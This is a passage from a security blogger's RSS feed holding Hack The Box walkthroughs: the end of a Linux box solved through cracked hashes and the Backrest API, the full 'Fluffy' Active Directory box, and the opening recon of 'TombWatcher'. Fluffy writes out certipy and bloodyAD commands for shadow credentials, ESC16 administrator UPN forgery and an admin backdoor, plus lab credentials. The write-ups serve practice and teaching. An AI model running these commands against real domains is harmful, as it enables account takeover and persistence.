&lt;p&gt;Inside &lt;code&gt;/opt&lt;/code&gt; I find the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9073cfa2429ad83f543e57d71f691beb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This looks interesting for later on.&lt;/p&gt;
&lt;h2&gt;Enumeration&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/62e9b840f45231d66b4f6370ad93fcd0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/70a5fd6ca4ac6063033a3193d6133a93.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bc081107843880280ddc3ec9e7e715aa.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Unfortunate.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c8f54652e8b0b2063db16f2a85d372e0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Time to check out the &lt;code&gt;/opt&lt;/code&gt; directory.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b46ad59db252f1c0bea8669ace22ece7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::note
This led to a whole lot of nothing, instead I went on to enumerate where i landed in the first place
:::&lt;/p&gt;
&lt;h3&gt;SQLite DB&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e204989cbfa0a0de00db80b3f1ced917.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I found the above in one of the subdirectories. I transfered the file over and used &lt;code&gt;sqlite&lt;/code&gt; to read it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/827e4be2b53fe69f66e030d9ea011bfc.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then went on and used &lt;a href=&quot;https://crackstation.net/&quot;&gt;crackstation&lt;/a&gt; to crack the hashes:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cdefe677de202ef6837b3efe510b648c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gael
mattp005numbertwo
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Lateral Movement&lt;/h2&gt;
&lt;p&gt;I used the first one in the table that corresponded to &lt;em&gt;gael&lt;/em&gt; to log in via &lt;code&gt;ssh&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3f33479608b55f1a86acbe4f08dd16c8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/26643dc64de7d94306213491af4a69b6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;sysadm group&lt;/h2&gt;
&lt;p&gt;There&apos;s only 1 file that we actually have access to being part of this custom group:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/462d50a48d68f46669412d0adfb986e9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I went ahead and copied it over and extracted it:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e708f9e030f86f2faa07d962d9836179.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a15e69d685b979633df753e61a1c2349.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;In here we find the following juicy stuff:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/aa94d05b0cb8eff8404c5c4f31dbb575.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It appears to be a &lt;code&gt;base64&lt;/code&gt; encrypted &lt;code&gt;bcrypt&lt;/code&gt; hash, let&apos;s crack it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/784578801a21811ab64133a993e1750d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;backrest_root
!@#$%^
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;EZ PZ.&lt;/p&gt;
&lt;p&gt;:::fail
Not so fast, unfortunately this password did not give us &lt;em&gt;root&lt;/em&gt; access:
&lt;img src=&quot;attachments/eb9bc664b355ae9316a7ecd8c849ca1c.png&quot; alt=&quot;&quot; /&gt;
:::&lt;/p&gt;
&lt;h2&gt;Port Forwarding&lt;/h2&gt;
&lt;p&gt;I then realized that I needed the password elsewhere, I&apos;m supposed to port forward the local &lt;code&gt;9898&lt;/code&gt; port for the &lt;strong&gt;backrest&lt;/strong&gt; api so I can reach it from Kali.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e37e2b95a52eeef66c47d09d75764c04.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;For this I downloaded over the &lt;code&gt;ligolo agent&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/433ea7d37cd0279967afd0399e6c15aa.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cd03f74b25f8ea3b524c23f97081fb5b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0c9d91075734682cfd578a940148a48b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a5118eb35a4fc2524dee08e4af2a1fc0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Backrest API&lt;/h2&gt;
&lt;p&gt;Now I could reach the port on &lt;code&gt;240.0.0.1:9898&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c36000be3c3e46741ce123408369977a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And we get inside with the previously found creds:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d1a9271e6ed0b6d6b2af3f7ae02b0056.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Here we fill out the following, and leave the rest as default&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/71430450de9bf4a4926c1a0e270457d6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now we can use the following to run commands:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7d5c2fc100a07796f1db61bb1f30a576.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Using the &lt;code&gt;help&lt;/code&gt; command we can get a list of all available commands:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c98ba9a757e200f8a0806700bdcc0b06.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This way we can go ahead and use the following to back up &lt;em&gt;root&lt;/em&gt;&apos;s &lt;code&gt;.ssh&lt;/code&gt; folder:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7771911dcbf36c910e3d98989c92dffc.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Next up we can check the mentioned snapshot:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5011bceb0e672febc56488b5b07624b8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can dump the &lt;code&gt;id_rsa&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d1b7bcbfe8f451a7c6e0cccf148b7851.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;ssh as root&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/576b4baa1442519ff44ba6f63d2e3c51.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/dbf8f4c8329d0986889426c5a0f92121.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9f53574f1323a3f4c706c924811101b8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Fluffy</title><link>https://maxk9999.vercel.app/posts/fluffy</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/fluffy</guid><pubDate>Thu, 26 Jun 2025 00:00:00 GMT</pubDate><content:encoded>&lt;hr /&gt;
&lt;pre&gt;&lt;code&gt;Scope:
10.10.11.69

Creds:
j.fleischman / J0elTHEM4n1990!
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -sT -vvvv -p- -T5 --min-rate=5000 -Pn fluffy.htb

PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain        syn-ack Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2025-06-26 23:24:11Z)
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-26T23:25:40+00:00; +6h59m59s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&amp;lt;unsupported&amp;gt;, DNS:DC01.fluffy.htb
| Issuer: commonName=fluffy-DC01-CA/domainComponent=fluffy
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&amp;lt;unsupported&amp;gt;, DNS:DC01.fluffy.htb
| Issuer: commonName=fluffy-DC01-CA/domainComponent=fluffy
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-26T23:25:40+00:00; +6h59m59s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&amp;lt;unsupported&amp;gt;, DNS:DC01.fluffy.htb
| Issuer: commonName=fluffy-DC01-CA/domainComponent=fluffy
3269/tcp  open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&amp;lt;unsupported&amp;gt;, DNS:DC01.fluffy.htb
| Issuer: commonName=fluffy-DC01-CA/domainComponent=fluffy
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
49667/tcp open  msrpc         syn-ack Microsoft Windows RPC
49689/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
49690/tcp open  msrpc         syn-ack Microsoft Windows RPC
49693/tcp open  msrpc         syn-ack Microsoft Windows RPC
49707/tcp open  msrpc         syn-ack Microsoft Windows RPC
49724/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;BloodHound&lt;/h2&gt;
&lt;p&gt;I&apos;ll start off by enumerating everything using &lt;code&gt;bloodhound-ce-python&lt;/code&gt;, this way the whole db can populate while I&apos;m doing the rest of enumeration.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b9b568c7f9f44bae0737dc6cafc4a6f6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/12483666aff7e923c0fff30f7416ebb8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;445/TCP - SMB&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2b6742d67c39d3acf2bc2b9866bb8beb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1590e6e742fc9b4ee1b97c0072a90ce1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I went on and downloaded everything:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ecfeee6df6bf621e121403d719244f42.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;First I checked out the &lt;code&gt;.pdf&lt;/code&gt; file.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/91da2fb3f3b39d6aff8a05ef70428822.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Here we get an overview of all the recently found vulnerabilities, if we&apos;re lucky these are not patched and we could still exploit them:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a11aac0c25f570b625fc577fba9efe6f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I started enumerating them from top to bottom and found that the second one in the list could be the one I&apos;m looking for:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d54b363fceeed63cb703a70e1cdbbc51.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c2e43468f7a5ec650b510363cc3d87ac.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Since this is exactly the premise that we&apos;re in with the found &lt;code&gt;.zip&lt;/code&gt; file we can get to cookin:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e3b2137824d9026f40cbb87f770c403b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I found a non-bloated version of the PoC &lt;a href=&quot;https://github.com/0x6rss/CVE-2025-24071_PoC/blob/main/poc.py&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c444a03870b05bf5e19fc2e511b12671.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I downloaded it and started exploiting:&lt;/p&gt;
&lt;h3&gt;PoC&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e0f0fb34087444ec1fa331ef115ad576.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/953515a9d667e03314e0f6114369cd82.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can now upload it and catch the response with &lt;code&gt;responder&lt;/code&gt; when we have uploaded it to the &lt;code&gt;smb&lt;/code&gt; share:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9a3e98189c8b7bc1c7daa20adea283be.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9942a395520265697990c3798168f4e8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1ead0bfc4a4e976b0d4952781a19484d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/540866a841dcf5552a23f894fd252102.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;p.agila
prometheusx-303
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Adding p.agila to SERVICE ACCOUNTS&lt;/h3&gt;
&lt;p&gt;Back in &lt;code&gt;BloodHound&lt;/code&gt; I found the following for this user:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/328016e5b480ece7dedd65a36d6eb416.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;But most importantly:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fd35aa5dbd0e1cec242049bb146215ca.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And here we find out that we can add ourselves to the &lt;strong&gt;Service Accounts&lt;/strong&gt; group. I will do this using &lt;code&gt;bloodyAD&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodyAD -u &apos;p.agila&apos; -p &apos;prometheusx-303&apos; -d &apos;fluffy.htb&apos; --dc-ip 10.10.11.69 add groupMember &apos;SERVICE ACCOUNTS&apos; p.agila
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/01b717897088f565614411d2224aa18c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Shadow Credentials Attack&lt;/h3&gt;
&lt;p&gt;As per &lt;code&gt;BloodHound&lt;/code&gt; I will now have to do the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5af43e0afbdfbb7a6fca4bcf5add7678.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/49a8e72030e1a9ae816792b498f546bd.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Instead of &lt;code&gt;pywhisker.py&lt;/code&gt; however I used &lt;code&gt;certipy-ad&lt;/code&gt; for all three users in order to get all 3 hashes right away so I could log in with them later:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Just change the account names in --account
certipy-ad shadow auto -u &quot;p.agila@fluffy.htb&quot; -p &quot;prometheusx-303&quot; -account &apos;WINRM_SVC&apos;  -dc-ip &apos;10.10.11.69&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/99319e47055a7f800101561c9516274b.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;attachments/227f5166e7aec8787c52e8702c251fb2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Neither could be cracked so &lt;em&gt;pass-the-hash&lt;/em&gt; it is:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d81c2e767e05019e9e157df70f8c3d2b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;evil-winrm&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fa66b6c1a2075b0bf7448f9419c1710d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;Here I found the &lt;code&gt;user.txt&lt;/code&gt; flag:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d8c3831bc6999906c5e341d38501f984.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Enumeration&lt;/h2&gt;
&lt;p&gt;But other than that pretty useless:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c408a0a5ffbf5f41563a8915a0814a51.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::caution
Problem was however that none of the other accounts could log in via &lt;code&gt;winrm&lt;/code&gt;, so I had to think of something else.
:::&lt;/p&gt;
&lt;p&gt;We do find the following juicy stuff:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/58fcf9702f399924edcad37fa412b0a9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;CA_SVC&lt;/em&gt; is a certificate service account, let&apos;s see what we can do with it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad find -u &apos;CA_SVC@fluffy.htb&apos; -hashes &apos;:ca0f4f9e9eb8a092addf53bb03fc98c8&apos;  -stdout -vulnerable -dc-ip 10.10.11.69
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2d737c261de5fe9968429820fc861e0b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It seems to be vulnerable to &lt;strong&gt;ESC16&lt;/strong&gt;!&lt;/p&gt;
&lt;p&gt;:::note
&lt;a href=&quot;https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6&quot;&gt;This blog post&lt;/a&gt; goes in detail about exploiting this vulnerability.
:::&lt;/p&gt;
&lt;h2&gt;ESC16 Abuse&lt;/h2&gt;
&lt;h3&gt;Forging Administrator UPN&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad account -u &apos;p.agila@fluffy.htb&apos; -p &apos;prometheusx-303&apos; -upn &apos;administrator&apos; -user &apos;ca_svc&apos; update -dc-ip 10.10.11.69
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/93e2e57f62b2c0fdd9d60ae501261afc.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now that that is done we can verify the change with the &lt;code&gt;read&lt;/code&gt; command:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b879da0707ad14f13457eeef90ef24f6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Good, onto the next part.&lt;/p&gt;
&lt;h3&gt;Request Certificate as Administrator&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad shadow -u &apos;p.agila@fluffy.htb&apos; -p &apos;prometheusx-303&apos;  -account &apos;ca_svc&apos; auto -dc-ip 10.10.11.69
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8ae96d256e69c46bcecbeb8ff39e00b1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now that we have exported the &lt;code&gt;krb5&lt;/code&gt; ticket we can request the certificate:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad req -k -target &apos;DC01.fluffy.htb&apos; -ca &apos;fluffy-DC01-CA&apos; -template &apos;User&apos; 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5315f2b395a88816c3670f555315a2fc.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Bingo.&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;Restore CA_SVC account&lt;/h2&gt;
&lt;p&gt;We can now restore the account as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad account -u &apos;p.agila@fluffy.htb&apos; -p &apos;prometheusx-303&apos; -upn &apos;ca_svc@fluffy.htb&apos; -user &apos;ca_svc&apos; update -dc-ip 10.10.11.69
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/69a8ed24d63db4e2bc931119c7a31f89.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Persistence&lt;/h3&gt;
&lt;p&gt;I can now go ahead and modify the &lt;em&gt;Administrator&lt;/em&gt; password in order to gain a backdoor in the system:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad auth -pfx administrator.pfx -username &apos;administrator&apos; -dc-ip 10.10.11.69 -domain fluffy.htb -ldap-shell
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/43325bed2ae0c6c0f3e01cd444e591db.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::note
You can use the command without &lt;code&gt;-ldap-shell&lt;/code&gt; and it will give you the NTLM hash instead:
&lt;img src=&quot;attachments/e10be4cee3f222012a63df39951dba9a.png&quot; alt=&quot;&quot; /&gt;
:::&lt;/p&gt;
&lt;h2&gt;evil-winrm as Administrator&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8ac911ff9983ba43dfd9baaf59259d39.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I am now successfully logged in as &lt;em&gt;Administrator&lt;/em&gt;, let&apos;s get &lt;code&gt;root.txt&lt;/code&gt;:&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f163122d8d92c8336de9d980634e29b1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/216f8616ee0fcaea1c8b4e283dce3e45.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-TombWatcher</title><link>https://maxk9999.vercel.app/posts/tombwatcher</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/tombwatcher</guid><pubDate>Thu, 26 Jun 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
10.10.11.72

Creds:
henry / H3nry_987TGV!
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -sT -vvvv -p- -Pn -T5 --min-rate=5000 tomb

PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain        syn-ack Simple DNS Plus
80/tcp    open  http          syn-ack Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2025-06-12 17:52:41Z)
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&amp;lt;unsupported&amp;gt;, DNS:DC01.tombwatcher.htb
| Issuer: commonName=tombwatcher-CA-1/domainComponent=tombwatcher
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&amp;lt;unsupported&amp;gt;, DNS:DC01.tombwatcher.htb
| Issuer: commonName=tombwatcher-CA-1/domainComponent=tombwatcher
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&amp;lt;unsupported&amp;gt;, DNS:DC01.tombwatcher.htb
| Issuer: commonName=tombwatcher-CA-1/domainComponent=tombwatcher
3269/tcp  open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-12T17:54:10+00:00; +4h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&amp;lt;unsupported&amp;gt;, DNS:DC01.tombwatcher.htb
| Issuer: commonName=tombwatcher-CA-1/domainComponent=tombwatcher
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
49666/tcp open  msrpc         syn-ack Microsoft Windows RPC
49691/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
49692/tcp open  msrpc         syn-ack Microsoft Windows RPC
49694/tcp open  msrpc         syn-ack Microsoft Windows RPC
49712/tcp open  msrpc         syn-ack Microsoft Windows RPC
49727/tcp open  msrpc         syn-ack Microsoft Windows RPC
49742/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-06-12T17:53:30
|_  start_date: N/A
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 20899/tcp): CLEAN (Timeout)
|   Check 2 (port 33382/tcp): CLEAN (Timeout)
|   Check 3 (port 61752/udp): CLEAN (Timeout)
|   Check 4 (port 60574/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 3h59m59s, deviation: 0s, median: 3h59m59s
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;445/TCP - SMB&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/21f1489a27a76d189fd96b4be1c811f2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
